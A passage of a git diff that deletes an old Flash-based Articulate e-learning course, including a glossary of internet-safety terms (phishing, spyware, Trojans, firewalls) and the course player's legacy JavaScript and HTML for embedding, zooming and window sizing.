deleted file mode 100755
index 815cf43..0000000
--- a/Explore/elr/Other/O0003/media/L02_p02.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0003/media/L02_p03.swf b/Explore/elr/Other/O0003/media/L02_p03.swf
deleted file mode 100755
index 33ea7e9..0000000
--- a/Explore/elr/Other/O0003/media/L02_p03.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0003/media/L02_p04.swf b/Explore/elr/Other/O0003/media/L02_p04.swf
deleted file mode 100755
index 6977be3..0000000
--- a/Explore/elr/Other/O0003/media/L02_p04.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0003/media/L02_p05.swf b/Explore/elr/Other/O0003/media/L02_p05.swf
deleted file mode 100755
index 25eaaca..0000000
--- a/Explore/elr/Other/O0003/media/L02_p05.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0003/media/L02_p06.swf b/Explore/elr/Other/O0003/media/L02_p06.swf
deleted file mode 100755
index 6f8790c..0000000
--- a/Explore/elr/Other/O0003/media/L02_p06.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0003/media/L02_p07.swf b/Explore/elr/Other/O0003/media/L02_p07.swf
deleted file mode 100755
index 0840cae..0000000
--- a/Explore/elr/Other/O0003/media/L02_p07.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0003/media/L02_p08.swf b/Explore/elr/Other/O0003/media/L02_p08.swf
deleted file mode 100755
index 29377d0..0000000
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deleted file mode 100755
index 9cb2d61..0000000
--- a/Explore/elr/Other/O0004/data/playerproperties.xml
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index 3a73a97..0000000
--- a/Explore/elr/Other/O0004/data/popups/rules.html
+++ /dev/null
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-<head  onLoad="window.self.focus();">
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diff --git a/Explore/elr/Other/O0004/data/presentation.xml b/Explore/elr/Other/O0004/data/presentation.xml
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index f6470ad..0000000
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deleted file mode 100755
index 8d3e029..0000000
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@@ -1,54 +0,0 @@
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-    <Step id="3c811fdc-0329-45be-b6ab-8defe68144b0" name="E-Mail (Electronic Mail)" title="" number="8" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;Messages, usually text, sent from one person to another on computer via the Internet. &lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="1da1db92-34a1-4597-a8a4-98f9e91584d9" name="Firewall" title="" number="9" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;A firewall is a program, system, or combination of systems that enforces a boundary between two or more networks. It is a gateway that limits access between networks in accordance with local security policy. It is commonly used to protect information such as a network's e-mail and data files within a home or organization.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="17caa2e8-f059-4f21-ad32-0cdaced7a7fc" name="Hacking" title="" number="10" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;Hacking is the unauthorized use or attempt to circumvent the security mechanisms of an information system, network, or personal computer. Hackers gain access to computers for their own amusement, challenge or sometimes for financial, ideological or criminal gain.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="2a903f0b-3060-4c97-b1cb-722f71833638" name="Instant Messenger" title="" number="11" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;Instant messenger is a program that alerts users when friends or colleagues are online and allows them to communicate with each other in real time through private online chat areas.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="dea57845-20f7-492b-9afe-aeccc4c44f5e" name="Internet Protocol" title="" number="13" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;An Internet Protocol (IP) address is a unique numeric identification given to computers on TCP/IP networks connected to the Internet. The network and end-user’s equipment addresses are represented by four sets of numbers separated by dots. The initial set of numbers identifies the domain.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="16bc27d2-9d40-4fc4-aa22-36b6b0ea41fc" name="Internet Service Provider" title="" number="12" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;An ISP is a company that provides access to the Internet for a monthly fee. It provides you with a software package, username, password, and access phone number. Equipped with a modem, you can then log on to the Internet and send and receive e-mails.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="86ea7438-0dad-4d14-9ac1-4fedf1e15abb" name="Malware" title="" number="14" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;Malware is a common name used for all kinds of malicious software, such as viruses, worms, and Trojans. It is sometimes referred to as rogue programs.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="83b39639-0692-4e08-a070-3edb2975c413" name="Operating System" title="" number="15" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;An operating system (OS) is a computer program, which lets multiple computer programs run simultaneously while coexisting peacefully on one physical computer.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="da5c0cba-b6c1-4e04-bd61-ea84bf665bb6" name="Personal Computer" title="" number="16" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;A personal computer (PC) is a self-containing unit, which includes its own central processing unit (CPU), memory, operating system (OS), keyboard, and monitor.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="b791665a-d4e3-4861-901e-6592c7e7c62b" name="Phishing" title="" number="17" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;Phishing means creating a replica of an existing Web page to fool a user into submitting personal, financial, or password data. The intent is to gain access to your personal information and use it for fraudulent activities.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="0aac2661-9be3-4073-afcb-708da395608b" name="Spam" title="" number="18" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;Spam is unsolicited e-mail messages that flood your mailbox. Such e-mail messages are mostly comprised of advertisements for dubious products, moneymaking schemes, and illegal services.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="1229b0be-f2e2-40a4-be91-035c62b06cf1" name="Spyware" title="" number="19" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;Spyware is an application that comes attached with downloaded software developed by an Internet-based vendor. It records and sends information stored on your PC to the vendor, without your knowledge. The vendor can sell or use this information for its own advantage.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="2421ccb7-c847-4b93-99d0-68656e6eda68" name="Third Party Cookies" title="" number="20" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;Third party cookies are cookies from other web sites that advertise on the web site you are viewing.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="a17d383b-9fb8-40e6-8f68-85792f2944a4" name="Trojans" title="" number="21" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;A Trojan is malware that conceals itself in a legitimate program. A hacker can plant a Trojan on your PC to gain access your passwords, credit card numbers and other information stored on it. Trojans can also be used to spy on you through your chat and instant message programs, web cam or microphone. However, they cannot replicate themselves.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="527d3e2a-a300-4b37-b8be-c4d317f52d37" name="Web Browser" title="" number="23" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;A Web browser is a program that gives a user access to the World Wide Web.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="39023ad7-6ffb-4cd3-ba3c-e1892409dd60" name="Web Page" title="" number="24" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;Web page is a document on the Internet containing text, graphics, multimedia, and links to other Web pages.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-    <Step id="a1175174-af4f-4a09-ae69-3103c84ff597" name="Web Site" title="" number="22" html="&lt;p align='left'&gt;&lt;font face='Articulate' size='13' color=''&gt;A web site is a virtual location on the Web. It is a group of similar Web pages linked by hyperlinks and managed by a single company, organization, or individual. A Web site may include text, graphics, audio and video files, and hyperlinks to other Web pages. Web sites can range in size from as little as one page to a vast number of pages.&lt;/font&gt;&lt;/p&gt;">
-    </Step>
-  </steps>
-  <starttip show="false" text="Click next to continue" />
-</Interaction>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/engage.js b/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/engage.js
deleted file mode 100755
index bf90e23..0000000
--- a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/engage.js
+++ /dev/null
@@ -1,101 +0,0 @@
-function WriteSwfObject(strSwfFile, nWidth, nHeight, strScale, strAlign, strQuality, strBgColor, strFlashVars)
-{
-	var strHtml = "";
-
-	strHtml += "<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' codebase='http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,79,0' width='" + nWidth + "' height='" + nHeight + "' align='" + strAlign + "'>";
-	strHtml += "<param name='allowScriptAccess' value='sameDomain' />";
-	strHtml += "<param name='scale' value='" + strScale + "' />";
-	strHtml += "<param name='movie' value='" + strSwfFile + "' />";
-	strHtml += "<param name='quality' value='" + strQuality + "' />";
-	strHtml += "<param name='bgcolor' value='" + strBgColor + "' />";
-	strHtml += "<param name='flashvars' value='" + strFlashVars + "' />";
-	strHtml += "<embed src='" + strSwfFile +"' flashvars='" + strFlashVars + "' scale='" + strScale + "' quality='" + strQuality + "' bgcolor='" + strBgColor + "' width='" + nWidth + "' height='" + nHeight + "' align='" + strAlign + "' allowscriptaccess='sameDomain' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer' />";
-	strHtml += "</object>";
-
-	document.write(strHtml);
-}
-
-function player_DoFSCommand(command, args) 
-{
-	args = String(args);
-	command = String(command);
-	var F_intData = args.split(";");
-
-	switch (command)
-	{
-		case "QM_ZoomImage":
-			PopZoomImage(F_intData[0], F_intData[1], F_intData[2]);
-			break;
-	}
-}
-
-
-////////////////////////////////////////////////////////////////////////////////
-// Gets the base path
-////////////////////////////////////////////////////////////////////////////////
-
-function GetBasePath()
-{
-	var strFullPath = document.location.href;
-	var nPos1 = -1;
-	var nPos2 = -1;
-
-	nPos1 = strFullPath.lastIndexOf("\\");
-	nPos2 = strFullPath.lastIndexOf("/");
-
-	if (nPos2 > nPos1)
-	{
-		nPos1 = nPos2;
-	}
-
-	if (nPos1 >= 0)
-	{
-		strFullPath = strFullPath.substring(0, nPos1 + 1);
-	}
-
-	return(strFullPath);
-}
-
-////////////////////////////////////////////////////////////////////////////////
-// Zoom code
-////////////////////////////////////////////////////////////////////////////////
-
-var g_oZoomInfo = new Object();
-var g_wndZoom;
-
-function PopZoomImage(strFileName, nWidth, nHeight)
-{
-	var strScroll = "0";
-	g_oZoomInfo.strContentFolder = g_strContentFolder;
-	g_oZoomInfo.strFileName = strFileName;
-	g_oZoomInfo.nWidth = parseInt(nWidth);
-	g_oZoomInfo.nHeight = parseInt(nHeight);
-
-	if (g_oZoomInfo.nWidth > screen.availWidth)
-	{
-		g_oZoomInfo.nWidth = screen.availWidth;
-		strScroll = "1";
-	}
-
-	if (g_oZoomInfo.nHeight > screen.availHeight)
-	{
-		g_oZoomInfo.nHeight = screen.availHeight;
-		strScroll = "1";
-	}
-
-
-	var strOptions = "width=" + g_oZoomInfo.nWidth +",height=" + g_oZoomInfo.nHeight + ", status=0, toolbar=0, location=0, menubar=0, scrollbars=" + strScroll;
-
-	if (g_wndZoom)
-	{
-		try
-		{
-			g_wndZoom.close()
-		}
-		catch (e)
-		{
-		}
-	}
-
-	g_wndZoom = window.open(GetBasePath() + g_strContentFolder + "/zoom.html", "Zoom", strOptions);
-}
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/scheme.xml b/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/scheme.xml
deleted file mode 100755
index 545acfc..0000000
--- a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/scheme.xml
+++ /dev/null
@@ -1,51 +0,0 @@
-<scheme name="EFK">
-
-<!-- #1 -->	<bg>0xFFFFFF</bg>
-
-<!-- #2 -->	<topbuttons>0x556489</topbuttons>
-<!-- #2 -->	<topbuttonsb>0x2D3B5B</topbuttonsb>
-<!-- #2 -->	<tophover>0x5D6F8E</tophover>
-<!-- #2 -->	<tophoverb>0x5D6F8E</tophoverb>
-
-<!-- #3 -->	<navbutton>0x556489</navbutton>
-<!-- #3 -->	<navbuttonb>0x2D3B5B</navbuttonb>
-<!-- #3 -->	<navhover>0x5D6F8E</navhover>
-<!-- #3 -->	<navhoverb>0x5D6F8E</navhoverb>
-
-<!-- #4 -->	<activenavbutton>0x272725</activenavbutton>
-<!-- #4 -->	<activenavbuttonb>0x272725</activenavbuttonb>
-
-
-<!-- Changing the items above will have the most impact. Usually there's no need to change the following colors. -->	
-
-<!-- #5 -->	<headerbar>0x017DB1</headerbar>
-
-<!-- #6 -->	<contentbg>0xBCEBFE</contentbg>
-
-<!-- #7 -->	<footerbar>0xF4F4F4</footerbar>
-
-<!-- #8 -->	<fonta>0xFFFFFF</fonta>
-
-<!-- #9 -->	<fontb>0x000000</fontb>
-
-<!-- #10 -->	<tt_bg>0xffffe1</tt_bg>
-<!-- #10 -->	<tt_border>0x676767</tt_border>
-<!-- #10 -->	<tt_text>0x000000</tt_text>
-
-<!-- #11 -->	<calloutbg>0xBCEBFE</calloutbg>
-<!-- #12 -->	<callouttext>0x000000</callouttext>
-
-<!-- #13 -->	<listselect>0x027bac</listselect>
-<!-- #14 -->	<listhover>0x68cbf3</listhover>
-
-<!-- #15 -->	<timeline_tooltip_hover>0xE7F7FF</timeline_tooltip_hover>
-<!-- #16 -->	<timeline_period_text>0x000000</timeline_period_text>
-<!-- #17 -->	<timeline_selected_period_text>0xffffff</timeline_selected_period_text>
-
-<!-- #18 -->	<lblgrf_calloutbg>0xE4E4E4</lblgrf_calloutbg>
-
-<!-- #19 -->	<tab_contentbg>0xCCCCCC</tab_contentbg>
-<!-- #20 -->	<tab_textbg>0xffffff</tab_textbg>
-
-
-</scheme>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/sounds/image_close.mp3 b/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/sounds/image_close.mp3
deleted file mode 100755
index 43a7637..0000000
--- a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/sounds/image_close.mp3
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/sounds/image_zoom.mp3 b/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/sounds/image_zoom.mp3
deleted file mode 100755
index 67df61e..0000000
--- a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/sounds/image_zoom.mp3
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/sounds/step_close.mp3 b/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/sounds/step_close.mp3
deleted file mode 100755
index cc2fdec..0000000
--- a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/sounds/step_close.mp3
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/sounds/step_hover.mp3 b/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/sounds/step_hover.mp3
deleted file mode 100755
index 17fd63c..0000000
--- a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/sounds/step_hover.mp3
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/sounds/step_select.mp3 b/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/sounds/step_select.mp3
deleted file mode 100755
index 78357e9..0000000
--- a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/sounds/step_select.mp3
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/zoom.html b/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/zoom.html
deleted file mode 100755
index 5106ba1..0000000
--- a/Explore/elr/Other/O0004/data/swf/engage_0210d/engage_content/zoom.html
+++ /dev/null
@@ -1,75 +0,0 @@
-<HTML>
-<HEAD>
-<!-- saved from url=(0014)about:internet -->
-<TITLE>Zoom</TITLE>
-
-<script LANGUAGE="JavaScript1.2" SRC="engage.js" TYPE="text/javascript"></script>
-<SCRIPT>
-var g_oZoomInfo = window.opener.g_oZoomInfo;
-</SCRIPT>
-<HEAD>
-<BODY marginheight="0" marginwidth="0" topmargin="0" leftmargin="0">
-
-<SCRIPT>
-
-function ShowImage(strFileName)
-{
-	document.write("<img src='"+ strFileName + "'/>");
-}
-
-function ShowSWF(strFileName)
-{
-	WriteSwfObject(strFileName, "100%", "100%", "show all", "", "best", 0xffffff, "")
-}
-
-function Zoom()
-{
-	var strFileName = g_oZoomInfo.strFileName;
-	var strExt = "";
-
-
-	strExt = strFileName.substr(strFileName.lastIndexOf("."));
-	strExt = strExt.toLowerCase();
-
-	strFileName = RemoveFolder(strFileName);
-
-	if (strExt == ".swf")
-	{
-		ShowSWF(strFileName);
-	}
-	else
-	{
-		ShowImage(strFileName);
-	}
-}
-
-function RemoveFolder(strPath)
-{
-	var strResult = strPath;
-	var nPos = -1;
-	var nPos2 = -1;
-
-	nPos = strResult.lastIndexOf("\\");
-	nPos2 = strResult.lastIndexOf("/");
-
-	if (nPos2 > nPos)
-	{
-		nPos = nPos2;
-	}
-
-	if (nPos >= 0)
-	{
-		strResult = strResult.substr(nPos + 1);
-	}
-
-	return strResult;
-}
-
-
-Zoom();
-
-
-</SCRIPT>
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0004/data/swf/engage_0210d/integration.xml b/Explore/elr/Other/O0004/data/swf/engage_0210d/integration.xml
deleted file mode 100755
index 1a85496..0000000
--- a/Explore/elr/Other/O0004/data/swf/engage_0210d/integration.xml
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_Graphic13.swf b/Explore/elr/Other/O0004/data/swf/fm_Graphic13.swf
deleted file mode 100755
index ea64fa8..0000000
--- a/Explore/elr/Other/O0004/data/swf/fm_Graphic13.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_Sld_15.swf b/Explore/elr/Other/O0004/data/swf/fm_Sld_15.swf
deleted file mode 100755
index c5cff5f..0000000
--- a/Explore/elr/Other/O0004/data/swf/fm_Sld_15.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_Sld_17.swf b/Explore/elr/Other/O0004/data/swf/fm_Sld_17.swf
deleted file mode 100755
index b14e10b..0000000
--- a/Explore/elr/Other/O0004/data/swf/fm_Sld_17.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_Sld_22.swf b/Explore/elr/Other/O0004/data/swf/fm_Sld_22.swf
deleted file mode 100755
index 3045d6b..0000000
--- a/Explore/elr/Other/O0004/data/swf/fm_Sld_22.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_Sld_26.swf b/Explore/elr/Other/O0004/data/swf/fm_Sld_26.swf
deleted file mode 100755
index 78b91ee..0000000
--- a/Explore/elr/Other/O0004/data/swf/fm_Sld_26.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_Sld_33.swf b/Explore/elr/Other/O0004/data/swf/fm_Sld_33.swf
deleted file mode 100755
index 5921d71..0000000
--- a/Explore/elr/Other/O0004/data/swf/fm_Sld_33.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_Sld_40.swf b/Explore/elr/Other/O0004/data/swf/fm_Sld_40.swf
deleted file mode 100755
index 688aa19..0000000
--- a/Explore/elr/Other/O0004/data/swf/fm_Sld_40.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_Sld_42.swf b/Explore/elr/Other/O0004/data/swf/fm_Sld_42.swf
deleted file mode 100755
index d0eec58..0000000
--- a/Explore/elr/Other/O0004/data/swf/fm_Sld_42.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_Sld_44.swf b/Explore/elr/Other/O0004/data/swf/fm_Sld_44.swf
deleted file mode 100755
index 85acc39..0000000
--- a/Explore/elr/Other/O0004/data/swf/fm_Sld_44.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_Sld_5.swf b/Explore/elr/Other/O0004/data/swf/fm_Sld_5.swf
deleted file mode 100755
index 9169214..0000000
--- a/Explore/elr/Other/O0004/data/swf/fm_Sld_5.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_Sld_6.swf b/Explore/elr/Other/O0004/data/swf/fm_Sld_6.swf
deleted file mode 100755
index f137b18..0000000
--- a/Explore/elr/Other/O0004/data/swf/fm_Sld_6.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_Sld_7.swf b/Explore/elr/Other/O0004/data/swf/fm_Sld_7.swf
deleted file mode 100755
index 8a2eacd..0000000
--- a/Explore/elr/Other/O0004/data/swf/fm_Sld_7.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_globe_com_internet.swf b/Explore/elr/Other/O0004/data/swf/fm_globe_com_internet.swf
deleted file mode 100755
index 812f582..0000000
--- a/Explore/elr/Other/O0004/data/swf/fm_globe_com_internet.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_slide_12.swf b/Explore/elr/Other/O0004/data/swf/fm_slide_12.swf
deleted file mode 100755
index e70f451..0000000
--- a/Explore/elr/Other/O0004/data/swf/fm_slide_12.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_slide_18.swf b/Explore/elr/Other/O0004/data/swf/fm_slide_18.swf
deleted file mode 100755
index bc84734..0000000
--- a/Explore/elr/Other/O0004/data/swf/fm_slide_18.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/data/swf/fm_slide_23.swf b/Explore/elr/Other/O0004/data/swf/fm_slide_23.swf
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index 0f312d8..0000000
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-		false = false;
-		false = false;
-		false = false;
-		true = true;
-		"6c6c6c" = "6c6c6c";
-	}
-*/
-// END DEBUG CODE
-
-// Browser Detection
-var IE6Above = false;
-var strVersion = navigator.appVersion;
-var nIndex1 = strVersion.indexOf("MSIE") + 5;
-var nIndex2 = strVersion.indexOf(".", nIndex1)
-if (nIndex1 >= 0 && nIndex2 > nIndex1) { IE6Above = (Number(strVersion.substring(nIndex1, nIndex2)) >= 6); }
-var NS4 = (navigator.appName.indexOf("Netscape")>=0 && parseFloat(navigator.appVersion) >= 4 && parseFloat(navigator.appVersion) < 5)? true : false;
-var IE4 = (document.all)? true : false;
-var NS6plus = (parseFloat(navigator.appVersion) >= 5 && navigator.appName.indexOf("Netscape")>=0 )? true: false;
-var isMac = (navigator.appVersion.indexOf("Mac")!=-1) ? true : false;
-var IEmac = ((document.all) && (isMac)) ? true : false;
-var IE4plus = (document.all) ? true : false;
-var IE5 = ((document.all)&&(navigator.appVersion.indexOf("MSIE 5.")!=-1)) ? true : false;
-var IE6 = IE6Above;
-var IE7 = ((document.all)&&(navigator.appVersion.indexOf("MSIE 7.")!=-1)) ? true : false;
-var Safari = (isMac &&(navigator.appVersion.indexOf("Safari")!=-1)) ? true : false;
-
-var Opera7plus = ((document.all)&&(navigator.userAgent.indexOf("Opera 7")!=-1)) ? true : false;
-var FF1 = (navigator.userAgent.indexOf("Firefox\/1")!=-1) ? true : false;
-var Opera = (navigator.userAgent.indexOf("Opera")!=-1) ? true : false;
-var Mozilla = (NS6plus && (navigator.userAgent.indexOf("Netscape") < 0));
-
-var NS7_2Plus = false;
-var Mozilla1_7Plus = false;
-
-var isLinux = (navigator.userAgent.indexOf("Linux") != -1);
-var isWindows = (!isMac && !isLinux)
-
-
-// Find the version of NS or Mozilla
-if (NS6plus)
-{
-	var nPos = 0;
-	var strUserAgent = navigator.userAgent;
-	var nReleaseDate = 0;
-	
-	strUserAgent = strUserAgent.toLowerCase();
-	nPos = strUserAgent.indexOf("gecko/");
-
-	if(nPos >= 0)
-	{
-		var strTemp = strUserAgent.substr(nPos + 6);
-		nReleaseDate = parseFloat(strTemp);
-	}
-
-	if (strUserAgent.indexOf("netscape") >= 0)
-	{
-		if (nReleaseDate >= 20040804)
-		{
-			NS7_2Plus = true;
-		} 
-	}
-	else
-	{
-		if (nReleaseDate >= 20040616)
-		{
-			Mozilla1_7Plus = true;
-		} 		
-	}
-}
-
-//windows sp2:
-var IESP2 = false;
-if ((window.navigator.userAgent.indexOf("MSIE")) && window.navigator.userAgent.indexOf("SV1") > window.navigator.userAgent.indexOf("MSIE")) 
-{
-	IESP2 = true;
-}
-
-// Template Vars
-var g_bFillScreen 	= false;
-var g_bResizeOptimal 	= false;
-var g_bLMS 		= false;
-var g_bWebObject 	= false;
-var g_bScaleSwf		= true;
-var g_strBgColor	= "6c6c6c";
-
-if (g_bFillScreen && g_bResizeOptimal)
-{
-	g_bOptimal = false;
-}
-
-if (!(IE5 || IE6 || IE7 || FF1 || NS7_2Plus || Mozilla1_7Plus) || Opera || isLinux)
-{
-	g_bWebObject = false;
-}
-
-
-// Init
-var g_nWidth;		// was aw
-var g_nHeight;		// was ah
-var g_bIs800 = false;
-var currentDisplayMode = "1"; //displaymode
-
-g_nWidth=screen.availWidth;
-g_nHeight=screen.availHeight;
-
-if (g_nWidth < 820) 
-{
-	g_bIs800 = true;
-	g_bFillScreen = true;
-	g_bScaleSwf = true;
-}
-
-function debug()
-{
-}
-
-// Reposition the window
-function reposition() {
-	var x = 0;
-	var y = 0;
-
-	if (!g_bFillScreen)
-	{
-		g_nWidth = 980;
-		g_nHeight = 640;
-
-		x = (screen.availWidth - g_nWidth) / 2;
-		y = (screen.availHeight - g_nHeight) / 2;
-
-		if (!g_bScaleSwf)
-		{
-			g_nWidth += 20;
-			g_nHeight += 5;
-		}
-	}
-
-	if (x < 0)
-	{
-		x = 0;
-	}
-	if (y < 0)
-	{
-		y = 0;
-	}
-
-	if (g_nWidth > screen.availWidth)
-	{
-		g_nWidth = screen.availWidth;
-	}
-	if (g_nHeight > screen.availHeight)
-	{
-		g_nHeight = screen.availHeight;
-	}
-
-
-
-	top.window.moveTo(x, y);
-	top.window.resizeTo(g_nWidth,g_nHeight);
-	top.window.focus();
-}
-
-// This function is used to make sure the document height and not the 
-function reposition2() 
-{
-	var nW = 0;
-	var nH = 0;
-	var nNewWidth = 0;
-	var nNewHeight = 0;
-	var x = 0;
-	var y = 0;
-
-	if (document.body.clientWidth && !isNaN(document.body.clientWidth) && !Mozilla)
-	{
-		nW = document.body.clientWidth;
-		nH = document.body.clientHeight;
-	}
-	else
-	{
-		nW = window.innerWidth;
-		nH = window.innerHeight;
-	}
-	
-	nNewWidth = g_nWidth + (g_nWidth - nW);
-	nNewHeight = g_nHeight + (g_nHeight - nH);
-
-	if (!g_bScaleSwf && NS6plus && !NS7_2Plus && !Mozilla)
-	{
-		nNewWidth +=15;
-	}
-
-	if (Mozilla)
-	{
-		nNewWidth += 20;
-	}
-
-	if (nNewWidth > screen.availWidth)
-	{
-		nNewWidth = screen.availWidth;
-	}
-	if (nNewHeight > screen.availHeight)
-	{
-		nNewHeight = screen.availHeight;
-	}
-
-	x = (screen.availWidth - nNewWidth) / 2;
-	y = (screen.availHeight - nNewHeight) / 2;
-
-	if (x < 0)
-	{
-		x = 0;
-	}
-	if (y < 0)
-	{
-		y = 0;
-	}
-
-
-	if (nNewHeight - g_nHeight > 20)
-	{
-		g_nWidth = nNewWidth;
-		g_nHeight = nNewHeight;
-		top.window.moveTo(x, y);
-		top.window.resizeTo(nNewWidth, nNewHeight);
-	}
-
-}
-
-if (g_bResizeOptimal || g_bFillScreen)
-{
-	// Call to reposition
-	reposition();
-}
-
-if (g_bResizeOptimal)
-{
-	// Call Reposition2
-	window.onload = reposition2;
-}
-
-// -->
-</script>
-
-
-<!-- fscommand processing -->
-
-<SCRIPT LANGUAGE="JavaScript1.2">
-<!--
-	if (g_bLMS)
-	{
-		document.write("<SCR" + "IPT LANGUAGE='JavaScript1.2' SRC='lms/lms.js' TYPE='text/javascript'><\/SCR" + "IPT>");
-	}
-// -->
-</SCRIPT>
-
-<SCRIPT LANGUAGE="JavaScript1.2" SRC="player/flashcommand.js" TYPE="text/javascript"></SCRIPT>
-<SCRIPT LANGUAGE="VBScript">
-<!--
-// Catch FS Commands in IE, and pass them to the corresponding JavaScript function.
-Sub player_FSCommand(ByVal command, ByVal args)
-    call player_DoFSCommand(command, args)
-end sub
-// -->
-</SCRIPT>
-
-
-<script LANGUAGE="JavaScript">
-<!--
-function thisMovie(movieName) 
-{
-	// IE and Netscape refer to the movie object differently for our ongoing pleasure.
-	//usage: thisMovie('player').SetVariable('_root.mcMyNotes.vMySlideNotes',  str );
-
-	if (navigator.appName.indexOf ("Microsoft") !=-1) 
-	{
-		return window[movieName]  
-	}
-	else 
-	{
-		return document[movieName]
-	}
-}
-//-->
-</script>
-
-</HEAD>
-
-
-<BODY TEXT="#999999" LINK="#000088" VLINK="#000088" ALINK="#ffff00"
-	marginheight="0" marginwidth="0" topmargin="0" leftmargin="0">
-
-<script LANGUAGE="JavaScript">
-<!--
-	// Change the BgColor
-	SetBgColor(g_strBgColor);	
-
-//-->
-</script>
-
-
-
-<script LANGUAGE="JavaScript">
-<!--
-	// Get the "slide=" value from the querystring URL of this document. (v3)
-	var slidenum = 1;
-	var _search = document.location.search;
-	var nStartPos = 0;
-	var nEndPos = 0;
-
-	nStartPos = _search.indexOf("slide=");
-	nEndPos = _search.indexOf("&",nStartPos);
-	if (nEndPos < 0)
-	{
-		nEndPos = _search.indexOf("%",nStartPos); 
-	}
-	if (nEndPos < 0) 
-	{
-		nEndPos = _search.length;
-	}
-
-	//just get the digits part. (+6 starts right of string "slide=")
-	if (nStartPos >= 0 && nEndPos >= 0)
-	{
